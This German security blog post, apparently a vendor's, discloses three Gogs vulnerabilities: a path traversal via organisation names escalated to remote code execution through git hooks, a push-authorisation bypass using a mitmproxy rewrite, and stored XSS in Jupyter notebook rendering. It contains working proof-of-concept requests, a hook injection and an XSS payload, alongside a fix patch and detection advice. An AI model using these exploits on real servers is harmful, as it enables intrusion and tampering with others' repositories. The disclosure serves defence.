Aikido

Schon wieder ein RCE in Gogs, aber diesmal ist das Problem behoben!

Verfasst von
Jorian Woltjer

Gogs ist eine Open-Source-Git-Hosting-Plattform wie GitHub oder GitLab. Die Anwendung ermöglicht es Nutzern, ihre eigenen Repositorys und Organisationen zu verwalten. Im Hintergrund stützt sie sich stark auf die git CLI.

RCE-Schwachstellen haben bei Gogs eine lange Geschichte; die meisten lassen sich nur langsam beheben, sodass eine öffentliche Bekanntgabe erforderlich ist, noch bevor eine offiziell gepatchte Version überhaupt erscheint. In diesem Fall war es anders. Nach einigen Monaten der Stille scheinen die Betreuer die Arbeit an der Absicherung von Gogs wieder aufgenommen zu haben, und alle unsere gemeldeten Schwachstellen wurden ab Version 0.14.3 behoben! Wir hoffen, dass sich dieser Trend fortsetzt und Gogs schließlich in einen sicheren Zustand versetzt. Derzeit gibt es jedoch noch eine ungebehebte Umgehungsmöglichkeit für eine von uns gemeldete Sicherheitslücke, die unsere KI-Pentest-Agenten entdeckt haben. Dafür stellen wir im Folgenden einen manuellen Code-Patch zur Verfügung.

Dieser Beitrag konzentriert sich in erster Linie auf die Sicherheitslücke zur Remote-Code-Ausführung (CVE-2026-52813), da diese technisch am interessantesten ist. Ich werde aber auch einen Logikfehler erläutern, der das Schreiben in schreibgeschützte Repositorys ermöglicht (CVE-2026-52810), sowie eine XSS-Sicherheitslücke in der von Gogs verwendeten Jupyter-Rendering-Bibliothek (GHSA-6vxv-wg6j-5qwp).

Lassen Sie uns gleich loslegen!

Pfaddurchlauf im Organisationsnamen

Wir beginnen damit, wie wir die Sicherheitslücke entdeckt haben, die zugleich die folgenschwerste und technisch interessanteste war: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Im Rahmen von „Aikido -Attack“ führen wir zahlreiche „ KI-Penetrationstests “-Tests bei Open-Source-Projekten durch, darunter auch Gogs. Hier ist ein Auszug aus einem Bericht, den wir von einem unserer Pentest-Agenten erhalten haben:

Aikido Bericht eines Pentest-Agenten, der eine kritische Pfaddurchquerung im Benutzernamen der Organisation „Gogs“ aufzeigt, mit Schritten zur Reproduktion und einer curl-Anfrage, die eine Organisation namens „../../../../tmp/ptapi3“ erstellt

Darin wurde ein Pfaddurchlauf im Benutzernamen der Organisation erwähnt, der nur bei Verwendung der API zugänglich ist und es ermöglicht, außerhalb des vorgesehenen Verzeichnisses auf den Rest des Dateisystems zu schreiben.

Lassen Sie uns die eigentliche Ursache des festgestellten Problems etwas genauer unter die Lupe nehmen, um es besser zu verstehen. Der wichtigste Teil ist diese Funktion in repox.go:

func UserPath(user string) string {
    return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}

Es legt fest, wo im Dateisystem die Repositorys der einzelnen Benutzer gespeichert werden, und fügt einfach deren Benutzernamen mit dem konfigurierten Stammverzeichnis der Repositorys zusammen. Das Zusammenfügen von Pfaden ohne Bereinigung ist immer riskant, da das Betriebssystem ../ Sequenzen, um Verzeichnisse zu verlassen, und das gilt auch hierfür .Join() in Go.

Zum Glück für Gogs sind diese Benutzernamen bereinigt bei der Registrierung mithilfe der AlphaDashDot Eingabebeschränkung, die nur Buchstaben, Zahlen und -_. Zeichen. Dadurch ist es unmöglich, einen Benutzer bei ../ in ihrem Namen:

type Register struct {
    UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
    Email    string `binding:"Required;Email;MaxSize(254)"`
    Password string `binding:"Required;MaxSize(255)"`
    Retype   string
}

Aber Benutzer sind nicht das Einzige, was dort vorbeikommt UserPath(). Organisationen sind genauso gut, und wenn wir uns die Definition ansehen, erkennen wir keine solche Bereinigung für die Benutzername Feld:

type createOrgRequest struct {
    UserName    string `json:"username" binding:"Required"`
    FullName    string `json:"full_name"`
    Description string `json:"description"`
    Website     string `json:"website"`
    Location    string `json:"location"`
}

Das bedeutet, dass wir eine Organisation mit dem Namen ../../../../../tmp/test um … zu machen UserPath() damit es zurückkommt /Pfad/zum/Stammverzeichnis/ + ../../../../../tmp/test = /tmp/test. Alle innerhalb der Organisation erstellten Repositorys werden dann in dieses neue Verzeichnis außerhalb des Stammverzeichnisses geschrieben.

Probieren wir es einmal in der Praxis aus:

s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
    auth=(USERNAME, PASSWORD),
    json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
    json={
        "username": org_name,
        "full_name": "path-traversal",
    }
)
print(r.json())  # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}

Nachdem die Organisation nun erstellt ist, sehen wir darin einen Ordner /tmp genannt test/:

$ ls -l /tmp
insgesamt 4
drwxr-xr-x    2 git      git           4096 Juni  8 09:32 Test

Um es zu füllen, können wir nun ein neues Repository unter der böswilligen Organisation anlegen:

r = s.post(
    f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
    json={
        "name": "repo1",
        "description": "poc",
        "private": False,
        "auto_init": True,
        "readme": "Default",
    }
)
print(r.json())  # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}

Erfolg! Bei einer erneuten Überprüfung des Dateisystems stellen wir fest, dass die repo1.git Der Ordner wurde an dem von uns angegebenen Speicherort erstellt:

$ ls -l /tmp/test/repo1.git
insgesamt 28
-rw-r--r--    1 git      git             23 Juni  8 09:41 HEAD
-rw-r--r--    1 git      git             66 Juni  8 09:41 config
-rw-r--r--    1 git      git             73 Juni  8 09:41 Beschreibung
drwxr-xr-x    2 git      git           4096 Juni  8 09:41 hooks
drwxr-xr-x    2 git      git           4096 Juni  8 09:41 Info
drwxr-xr-x    7 git      git           4096 Juni  8 09:41 Objekte
drwxr-xr-x    4 git      git           4096 Juni  8 09:41 Verweise

Das beweist, dass eine Art Pfaddurchlauf funktioniert. Obwohl wir das Repository mit einer README-Datei initialisiert haben, ist diese hier im Dateisystem nicht sichtbar. Das liegt daran, dass hier eine leeres Repository. Eine, die nur die Git-Metadatendateien enthält, ohne „Worktree“. Gogs benötigt die eigentlichen Dateien während des normalen Betriebs nicht. Es kann alle Daten aus der komprimierten Datei abrufen Objekte sowie die Struktur in diesem leeren Repository.

Das Schreiben beliebiger Dateien unter Verwendung des Inhalts des Git-Repositorys wäre eine sehr leistungsstarke Funktion. Es sieht so aus, als hätten wir hier eine sehr schwache Pfaddurchquerung, bei der wir nur diese spezifische Git-Metadatenstruktur erstellen können…

Ein Sonderfall ist Dateien in der Gogs-Benutzeroberfläche bearbeiten. Da dies mit reinen Git-Operationen umständlich wäre, erstellt Gogs vorübergehend ein echtes Arbeitsverzeichnis vor Ort bei /data/gogs/data/tmp/local-r/ mit einer fortlaufenden ID (2):

$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md

Endlich haben wir unser selbst erstelltes gefunden README.md Datei hier. Dieser Pfad enthält leider nicht mehr unseren Benutzernamen, sodass wir die Schwachstelle beim Pfaddurchlauf nicht dazu nutzen können, beliebige Dateien zu schreiben. Wir können jedoch:

  • Bare-Repositorys (nur Git-Metadaten) über Path-Traversal an beliebiger Stelle schreiben  
  • Arbeitsverzeichnisse (mit echten Dateien) nur unter einem bestimmten sicheren Pfad erstellen

Reicht das aus, um in einer Standardkonfiguration von Gogs Schaden anzurichten? Könnte man allein mit dieser eingeschränkten Dateischreibfunktion eine RCE erzielen?

RCE unter Verwendung von „git config“ in verschachtelten Repos

An dieser Stelle haben wir die Untersuchung manuell übernommen und versucht, die vom Agenten entdeckte Path-Traversal-Schwachstelle zu einer vollständigen Remote-Code-Ausführung zu eskalieren.

Was diese Sicherheitslücke angeht, sind uns gewisse Grenzen gesetzt. Wir können keine vorhandenen Dateien an beliebigen Speicherorten überschreiben, da wir keinen Einfluss auf die Namen der Dateien in den Git-Metadaten haben. Wir können lediglich ein solches „Bare-Repository“ an einem beliebigen Speicherort erstellen.

Zum Hintergrund: Git verfügt über „Haken“ bei denen es sich um Skripte handelt, die in der .git/hooks Ordner, die bei bestimmten Git-Vorgängen ausgeführt werden. Zum Beispiel: Pre-Commit wird unmittelbar vor einem Commit ausgeführt. Oder auf der Serverseite Aktualisierung, die immer dann ausgeführt wird, wenn ein Push von einem Client empfangen wird.

Wenn ein Angreifer in einen dieser Hook-Pfade schreiben kann, führt dies mit ziemlicher Sicherheit zu einer RCE, da der nächste Git-Vorgang die Ausführung des Skripts auslöst. Wir werden dies ausnutzen, um beliebige Systembefehle auszuführen.

Wir wissen, dass wir ein .git/hooks Datei aus einem anderen Repository mit dieser Pfaddurchquerung. Aber wenn man genauer darüber nachdenkt: Was wäre, wenn wir das Gegenteil tun würden?

Wir können einen normalen Arbeitsordner erstellen und dann unser „Bare-Repository“ über die Schwachstelle bei der Pfaddurchquerung darin ablegen.. Dann können wir die Datei des Bare-Repositorys bearbeiten hooks/update Datei aus dem Arbeitsverzeichnis des regulären Repositorys. Wenn wir dann einen Push dorthin durchführen, wird der Hook ausgelöst, und wir haben RCE erreicht. Probieren wir es in der Praxis aus.

Erstellen Sie zunächst ein einfaches Repository, mit dem wir später Dateien bearbeiten werden. Vorerst wird dadurch lediglich ein Verzeichnis im Dateisystem unter /data/git/repositories/developer/editor.git (Metadaten), noch nicht unter /data/gogs/data/tmp/local-r/1/ (Arbeitsverzeichnis). Wir wissen, dass wir dieses Arbeitsverzeichnis erstellen können, indem wir einfach eine beliebige Datei über die Gogs-Benutzeroberfläche hinzufügen.

Gogs-Repository-Ansicht für Entwickler/Redakteure im Master-Zweig, wobei die Schaltfläche „Neue Datei“ hervorgehoben ist, um eine Datei hinzuzufügen und den Repository-Arbeitsbaum anzulegen

Anschließend wird der Arbeitsbaum unter der ID des Repositorys erstellt (abgerufen über /api/v1/repos/:owner/:repo).

$ ls -la /data/gogs/data/tmp/local-r/1

drwxr-xr-x    7 git      git           4096 Juni  9 08:53 .git
-rw-r--r--    1 git      git             10 Juni  9 08:53 README.md
-rw-------    1 git      git              5 Juni  9 08:53 Dummy

Der nächste Schritt besteht darin, unser Pfaddurchlauf Organisation in diesen bearbeitbaren Ordner. Wir erstellen einen mit dem Namen ../../gogs/data/tmp/local-r/1 damit die Datei in diesem Ordner abgelegt wird. Erstellen Sie anschließend darunter ein Repository.

org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)

Danach wird die erstellte Durchlauf Das Repository wird im Arbeitsverzeichnis angezeigt:

$ ls -la

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Juni  9 08:53 README.md
-rw-------    1 git      git              5 Juni  9 08:53 dummy
drwxr-xr-x    6 git      git           4096 Jun  9 11:45 traversal.git

$ cat traversal.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = true

Wenn wir die Seite neu laden, Entwickler/Redakteur Die Seite ist jetzt auf Gogs verfügbar, wir können sie jedoch noch nicht sehen, da das Dateisystem noch nicht mit der Benutzeroberfläche synchronisiert ist. Dazu erstellen wir eine weitere Dummy-Datei. Dann wird sie angezeigt, und wir können sogar ihre Dateien durchsehen:

Der Gogs-Dateibrowser zeigt das verschachtelte „traversal.git“-Bare-Repository im Verzeichnis „developer/editor“ mit seinem Ordner „hooks“ und den Git-Metadatendateien an.

Es sieht so aus, als könnten wir nun einfach die hooks/update Datei als schädlich einstufen, aber wenn wir dies versuchen, gibt Gogs im Frontend die folgende Fehlermeldung aus:

Datei konnte nicht aktualisiert/erstellt werden „traversal.git/hooks/update“ mit Fehler: Interner Serverfehler

In den Backend-Protokollen sehen wir Folgendes:

[FEHLER] [...gs/internal/route/repo/editor.go:280 editFilePost()] Aktualisierung der Repo-Datei fehlgeschlagen: ungültiger Verzeichnispfad „traversal.git/hooks/update“

Leider gibt es eine Überprüfung, die feststellt, ob ein von uns bearbeiteter Pfad .git/, und unser traversal.git/hooks/update Der Pfad tut das auf jeden Fall.

func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
    // 🚨 SECURITY: Prevent uploading files into the ".git" directory.
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }
    ...
}

func isRepositoryGitPath(path string) bool {
    path = strings.ToLower(path)
    return strings.HasSuffix(path, ".git") ||
        strings.Contains(path, ".git/") ||
        strings.Contains(path, `.git\`) ||
        // Windows treats ".git." the same as ".git"
        strings.HasSuffix(path, ".git.") ||
        strings.Contains(path, ".git./") ||
        strings.Contains(path, `.git.\`)
}

Der UI-Editor lässt also keine Bearbeitung unseres verschachtelten Repositorys zu. Aber wie sieht es mit einem nativen Git-Push aus?

$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "update hook"
$ git push
Benutzername für „https://gogs.local“: developer
Passwort für „https://developer@gogs.local“:
Zu https://gogs.local/developer/editor.git
   8c7f89f..fe4cc1b  master -> master

Funktioniert hervorragend! Die Überprüfung ist insofern weniger streng, als der Name eines Pfadsegments genau mit .git. Wir haben das Glück, dass der reine Repo-Name traversal.git und nicht .git, da die Git-Methode diesen Namen weiterhin zulässt.

Laden Sie noch einmal eine Dummy-Datei hoch, um den Arbeitsbaum zu aktualisieren, und schon können wir die aktualisierte Datei sehen!

Gogs zeigt die Datei „traversal.git/hooks/update“ an, ein Bash-Skript, das den Gogs-Update-Hook ausführt und anschließend „id>/tmp/pwned“ als injizierte Nutzlast ausführt.

Jetzt müssen wir nur noch die Änderungen in das Bare-Repo übertragen. Das müssen wir im Repository unter dem Verzeichnis ../../ Organisation, was in der Benutzeroberfläche etwas umständlich ist. Über die API können wir den Pfad jedoch einfach URL-kodieren und problemlos darauf zugreifen. Wir werden einen weiteren Datei-Upload auslösen, sodass intern ein Commit in einem zweiten Arbeitsverzeichnis erstellt und dieser anschließend an das Bare-Repository gepusht wird (beides befindet sich auf demselben Dateisystem – so funktioniert Git, und so verwaltet Gogs intern seine Repos).

r = s.put(
    f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
    json={
        "message": "trigger update hook",
        "content": base64.b64encode(b"dummy4").decode(),
        "branch": "master",
    }
)
print(r.json())  # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}

Nach diesem Commit in die Durchlauf Repo, es wird in das /data/gogs/data/tmp/local-r/1/traversal.git, was dazu führt, dass traversal.git/hooks/update. Wir haben es überschrieben, um Folgendes auszuführen id > /tmp/pwned danach, und wenn wir diesen Pfad überprüfen, finden wir tatsächlich die Ausgabe von id:

$ cat /tmp/pwned
uid=1000(git) gid=101(git) groups=101(git)

Wir haben erfolgreich die Ausführung von Remote-Code auf Gogs erreicht, da die git Benutzer!

Umgehung der Push-Autorisierung durch Verwechslung von „receive“ und „pack“

Zurück zu einer ganz anderen Art von Sicherheitslücke: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Anstelle komplizierter Injektionen handelt es sich hierbei um einen einfachen Logikfehler, der sich jedoch manuell nur schwer aufspüren lässt. Das Ganze spielt sich im Low-Level-Bereich ab Git-HTTP-Protokoll, das Gogs unter anderem für folgende Zwecke implementiert: git push in ein Repo.

In den „Smart“ Protokoll gibt es zwei Dienste: git-upload-pack (den Server bitten, die Datei für dich hochzuladen = ziehen) und git-receive-pack (Der Server empfängt neue Daten von dir = Push).
Für diese beiden Vorgänge gelten unterschiedliche Berechtigungen. Sie sollten nur in der Lage sein, Push falls du Schreiben Erlaubnis, aber für eine einfache ziehen, Lesen Das reicht aus. Gogs implementiert dies in einer Art Middleware für die gesamte Git-HTTP-Logik:

func HTTPContexter(store Store) macaron.Handler {
    ...
    isPull := c.Query("service") == "git-upload-pack" ||
        strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
        c.Req.Method == "GET"
    ...
    mode := database.AccessModeWrite
    if isPull {
        mode = database.AccessModeRead
    }

Die Anfrage wird als „Pull“ (Lesevorgang) behandelt, wenn entweder die Dienstleistung Der Abfrageparameter oder der endgültige Pfad lautet git-upload-pack.

Gogs definiert anschließend Handler für die jeweiligen Aktionen:

{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},

Insbesondere wird kein Dienstleistung Abfrageparameter hier. Nach der Überprüfung der Autorisierung durch eine einfache Zeichenfolgenprüfung im Pfad wird der Pfad mithilfe der oben genannten regulären Ausdrücke erneut analysiert. Dies kann leicht zu Abweichungen führen, bei denen die Autorisierung ihn als Lesen Anfrage, während der zugeordnete Handler ein Schreiben Endpoint.

Der Dienstleistung Der Abfrageparameter war für Folgendes vorgesehen: /refs/info, ist jedoch global für die Autorisierung aktiviert. Das bedeutet, dass wir einen Pfad von /git-receive-pack mit einem ignorierten Parameter von service=git-upload-pack. Gogs wird verwirrt sein und aufgrund des Parameters annehmen, dass es sich hierbei um ein lesen Anfrage. Doch wenn sie beim Handler ankommt, wird der Schreib-Endpunkt aufgerufen!

Das in die Praxis umzusetzen, klingt allerdings etwas knifflig, da das Protokoll zum Pushen von Commits bei Git sehr speziell ist. Aber wir können einfach einen kleinen Proxy erstellen, der /git-receive-pack zu /git-receive-pack?service=git-upload-pack Um die Überprüfung zu umgehen:

from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http

def request(flow: http.HTTPFlow) -> None:
    u = urlsplit(flow.request.pretty_url)
    if not u.path.endswith("/git-receive-pack"):
        return

    params = parse_qsl(u.query, keep_blank_values=True)
    params.append(("service", "git-upload-pack"))
    query = urlencode(params)
    flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
    ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")

Dieses Skript kann verwendet werden mit mitmproxy. Nach der Ausführung können wir die http_proxy und https_proxy Umgebungsvariablen in einem anderen Terminal, bevor Sie git Befehle. Git leitet alle seine Netzwerkaufrufe über unser Skript um, das die /git-receive-pack um das service=git-upload-pack Abfrageparameter.

Versuchen wir doch einmal, ein Repo auf einem Konto anzulegen, es anschließend zu klonen und bei aktiviertem Proxy zu pushen:

$ mitmdump -s mitmproxy_addon.py -p 1337

$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd Ziel
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
Fehler: RPC fehlgeschlagen; HTTP 500 curl 22 Die angeforderte URL hat den Fehler 500 zurückgegeben
send-pack: unerwartete Verbindungsunterbrechung während des dem Lesen eines Sideband-Pakets
schwerwiegender Fehler: Die Gegenstelle hat unerwartet die Verbindung abgebrochen

500? Beim Überprüfen der Backend-Protokolle ist uns aufgefallen, dass wir einen Nullzeiger-Zugriff hatten?!

[Macaron] PANIC: Laufzeitfehler: ungültige Speicheradresse oder Dereferenzierung eines Null-Zeigers
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)

null in Go ist einfach dessen Version von null. Wenn Sie versuchen, eine Eigenschaft eines Objekts auszulesen, das null, kommt es zu einer „Null-Zeiger-Dereferenzierung“. Wenn wir den Code an internal/database/repo_editor.go:67, sehen wir:

EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),

Es sieht so aus, als ob unser AuthUser wurde nicht gesetzt. Weiter oben in der Aufrufkette sollten wir es eigentlich vom Ende von HTTPContexter():

func HTTPContexter(store Store) macaron.Handler {
    ...
    c.Map(&HTTPContext{
        Context:   c,
        OwnerName: ownerName,
        OwnerSalt: owner.Salt,
        RepoID:    repo.ID,
        RepoName:  repoName,
        AuthUser:  authUser,
    })

Aber wegen unserer Umleitung, isPull ist wahr, und dieser frühe Rücklauf wird zuerst getroffen:

func HTTPContexter(store Store) macaron.Handler {
    ...
    // Authentication is not required for pulling from public repositories.
    if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
        c.Map(&HTTPContext{
            Context: c,
        })
        return
    }

Aus diesem Grund, AuthUser ist nicht gesetzt, und wenn versucht wird, es von Paketempfang, stürzt das Programm ab. Glücklicherweise finden wir direkt im Quellcode einige einfache Möglichkeiten, dies zu umgehen:

  1. Falls repo.IsPrivate, wird die Bedingung übersprungen  
  2. Falls conf.Auth.RequireSigninView ist aktiviert, wird die Bedingung übersprungen

Der Exploit funktioniert also nur bei Repositories, die nicht öffentlich einsehbar sind. Wenn die globale RequireSigninView Ist diese Konfiguration festgelegt, ist die gesamte Instanz anfällig. Um das Testen zu vereinfachen, erstellen wir einfach ein privates Repository und laden den Angreifer als Mitwirkenden mit Lesezugriff ein:

Gogs-Einstellungen für die Zusammenarbeit im privaten Repository des Opfers/Ziels, in denen das Angreiferkonto als Mitwirkender mit Lesezugriff hinzugefügt wurde

Bei einem erneuten Versuch des PoC stellen wir fest, dass der Angreifer nun erfolgreich in das Repository schreiben kann:

$ git push
Benutzername für „https://gogs.local“: Angreifer
Passwort für „https://developer@gogs.local“:
...
Objekte schreiben: 100% (3/3), 507 Bytes | 507,00 KiB/s, fertig.
Insgesamt 3 (Delta 1), wiederverwendet 0 (Delta 0), Pack-Wiederverwendung 0
Zu https://gogs.local/victim/target.git
   62ef1eb..cb13c59  master -> master

Die Änderung spiegelt sich auch in der Benutzeroberfläche wider:

Gogs-Dateiliste für das Opfer/Ziel nach dem Exploit, in der neben der Datei „README.md“ eine vom Angreifer hochgeladene PoC-Datei angezeigt wird

Über diese Sicherheitslücke kann ein Angreifer in jedes Repository schreiben, für dessen Lesezugriff eine Anmeldung erforderlich ist. Bei einer Verbindung zu CICD könnte dies böswillige Bereitstellungen auslösen oder generell dazu dienen, Malware zu verbergen.

Nicht gepatcht

Diese Sicherheitslücke wurde behoben in #8331 indem überprüft wird, welche Routen für den Empfang und welche für das Hochladen vorgesehen sind. Allerdings ist dies Die Korrektur ist unvollständig. weil die Überprüfung auf /git-receive-pack stimmt nicht überein /git-RECEIVE-pack (Großbuchstaben), während der Router später nicht zwischen Groß- und Kleinschreibung unterscheidet. Wir haben den Umgehungsweg dem Betreuer gemeldet, zum Zeitpunkt der Veröffentlichung dieses Beitrags jedoch noch keine Antwort erhalten.

Wenden Sie den folgenden Quellcode -Patch an und erstellen Sie Gogs neu, um diese Sicherheitslücke zu beheben:

--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
 }
 
 func gitHTTPIsPull(c *macaron.Context, action string) bool {
+    action = strings.ToLower(action)
     if action == "info/refs" {
-        return c.Query("service") != "git-receive-pack"
+        return !strings.EqualFold(c.Query("service"), "git-receive-pack")
     }
     return action != "git-receive-pack"
 }

Gespeichertes XSS in .ipynb-Dateien

Zu guter Letzt gab es noch einen einfachen Exploit, der jedoch einen interessanten Hintergrund hatte: GHSA-6vxv-wg6j-5qwp (noch keine CVE-Nummer). Wenn man sich den Code ansieht, würde man meinen, dass er ordnungsgemäß bereinigt sein müsste!

Die meisten Git-Benutzeroberflächen verfügen über benutzerdefinierte Darstellungsmethoden für bestimmte Dateitypen, darunter auch Jupyter-Notebooks (.ipynb Dateien). Diese Dateien sind als interaktive Beispiele für Ein- und Ausgabeprozesse von Python-Code gedacht, in die Markdown-Beschreibungen eingebettet sind.

Das Jupyter-Notebook „test.ipynb“ wurde in Gogs gerendert und zeigt die Überschrift „Hello world“ über einer Codezelle mit dem Befehl print("Hello, world!") an.

Vielleicht fragen Sie sich: Wie wird das gerendert?
Die Antwort: Mit einer stark veralteten Version von notebookjs (0.4.2, die aktuellste Version ist 0.8.0).

Wenn man von Markdown spricht, ist damit so gut wie immer auch HTML gemeint. Reiner HTML-Inhalt ist sogar Teil der CommonMark-Spezifikation, weshalb viele Renderer ihn ohne Bedenken implementieren. Das Problem für Gogs besteht darin, dass nicht vertrauenswürdige Eingaben (Dateiinhalte beliebiger Benutzer) in diesen Renderer gelangen.

Im Quellcode sieht es so aus, als würde auf Seiten von Gogs eine gewisse Bereinigung stattfinden:

$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
  var notebook = nb.parse(notebook_json);
  var rendered = notebook.render();
  $.ajax({
    type: "POST",
    url: '/-/api/sanitize_ipynb',
    data: rendered.outerHTML,
    processData: false,
    contentType: false,
  }).done(function(data) {
    $("#ipython-notebook").append(data);
    ...

Das Backend nutzt bluemonday, eine anerkannte Sanitisierungsbibliothek, um die Ausgabe von NotebookJS zu bereinigen, bevor die Daten an das DOM angehängt werden. Eine Payload wie <u>te<script>1</script>st</u> wird zu <u>test</u>. Das ist sicher.

Allerdings lässt sich ein Problem in der Bibliothek „notebookjs“ selbst feststellen. Bei der Umwandlung von Markdown in HTML für Markdown-Zellen wird ein temporäres Element erstellt und diesem .innerHTML dazu:

var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))

Auch wenn es nicht zum DOM hinzugefügt, reicht bereits die Zuweisung an eine beliebige temporäre JavaScript-Variable aus, um Ereignisse für das Element auszulösen. Für die <img> Element, zum Beispiel dessen src= ist bereits geladen und kann möglicherweise fehlschlagen, was dazu führt, dass onerror=. Alles in Ordnung innerhalb von notebookjs selbst.

Aus diesem Grund funktioniert eine Payload wie die folgende unabhängig davon, was Gogs mit der Ausgabe macht:

{
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {},
      "source": [
        "<img src onerror=alert(origin)>"
      ]
    }
  ],
  "metadata": {},
  "nbformat": 4,
  "nbformat_minor": 2
}

Anzeigen der .ipynb Die Datei löst nun beim Rendern einen XSS-Fehler aus:

Der Browser zeigt eine JavaScript-Meldung mit dem Text „gogs.local“ an, in der steht: „https://gogs.local“. Diese Meldung wurde durch das Öffnen einer bösartigen .ipynb-Datei ausgelöst, die das gespeicherte XSS demonstriert.

Der Angreifer kann solche Dateien überall platzieren, beispielsweise in seinen eigenen Repositories oder in Pull-Requests, die beim Klicken auf „Datei anzeigen“ aufgerufen werden, oder indem er einem beliebigen anderen Benutzer einfach einen Link direkt zu seiner Payload-Datei schickt.

Erkennung

Um zu überprüfen, ob Sie von der Sicherheitslücke „Remote Code Execution“ (CVE-2026-52813) betroffen sind, prüfen Sie, ob Ihre Gogs-Version 0.14.2 oder niedriger ist. Aikido erkennt diese Version in Ihrer Organisation und gibt eine Warnung der Stufe „kritisch“ aus:

Aikido Die Schweregradbewertung für Gogs vor Version 0.14.3 lautet „kritisch“ mit einer Punktzahl von 100 für die RCE durch Pfaddurchlauf; es wird ein Upgrade auf Version 0.14.3 oder höher empfohlen.

Für die Umgehung der Push-Autorisierung (CVE-2026-52810) gibt es keine offiziell behobene Version. Derzeit sind alle Versionen anfällig. Aikido erkennt Gogs-Instanzen mit einer Warnstufe „hoch“:

Aikido Die Warnstufe für Gogs 0.14.3 und frühere Versionen wird aufgrund einer Punktzahl von 71 für die Umgehung der Git-HTTP-Autorisierung als „hohes Risiko“ eingestuft; es wird empfohlen, Git Smart HTTP zu deaktivieren und SSH zu verwenden.

Fazit

Wie bereits mehrfach erwähnt, ist die sichere Integration von Git in eine Anwendung oft eine anspruchsvolle Aufgabe. Das System birgt einfach so viele Fallstricke im Dateisystem, die Angreifer ausnutzen können. Schlimmer noch: Die Folgen sind oft gravierend. Deshalb ist es unerlässlich, solche Anwendungen durch Penetrationstests gründlich zu prüfen.

Wenn es eine Weile dauert, bis Sicherheitslücken nach ihrer Entdeckung behoben werden, bleibt ein erheblicher Zeitraum, in dem die Anwendung bekanntermaßen ausgenutzt werden kann. Im Zeitalter der KI entdeckt jeder Sicherheitslücken. Entwickler stehen vor der Aufgabe, Korrekturen schneller als bisher bereitzustellen, daher müssen wir uns daran gewöhnen, auch diesen Teil mit Tools wie „Aikido “ Autofix zu beschleunigen.

Dann können Sie Korrekturen sogar eigenständig validieren und KI-Penetrationstests und weiterhin Funktionen und Verbesserungen bereitstellen, die die Nutzer tatsächlich wünschen.

Derzeit wird Gogs nicht aktiv weiterentwickelt, sodass wahrscheinlich Sicherheitslücken bestehen. Wir empfehlen, vorerst eine andere selbst gehostete Git-Lösung zu verwenden, bis sich die Lage geklärt hat.

Teilen:

https://www.aikido.dev/blog/fixed-rce-gogs-cve-2026-52813

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.